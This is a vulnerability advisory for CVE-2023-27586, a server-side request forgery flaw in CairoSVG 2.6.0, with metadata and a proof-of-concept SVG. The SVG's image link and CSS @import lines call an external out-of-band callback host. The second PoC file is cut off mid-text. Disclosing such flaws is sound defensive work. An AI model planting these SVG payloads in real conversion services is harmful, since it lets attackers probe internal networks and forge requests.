CairoSVG improperly processes SVG files loaded from external resources
Date: 2023-03
Affected: pip/CairoSVG
Attack vector: ssrf
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2023-27586
CWE: CWE-20
CWE-918
CVSS: 9.9 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L)

# SSRF vulnerability ## Summary When CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts. ## Operating system, version and so on Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9 ## Tested CairoSVG version 2.6.0 ## Details A specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources. It looks like this bug can affect websites and cause request forgery on the server. ## PoC 1. Generating malicious svg file: 1.1 CairoSVG_exploit.svg: ```svg <?xml version="1.0" standalone="yes"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <image height="200" width="200" xlink:href="http://[jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com](http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/)/3" /> <style type="text/css">@import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5");</style> <style type="text/css"> <![CDATA[ @import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/9"); rect { fill: red; stroke: blue; stroke-width: 3 } ]]> </style> </svg> ``` 1.2 CairoSVG_exploit_2.svg: ```svg <?xml versio


Mitigations:

Architectural layers (MAESTRO):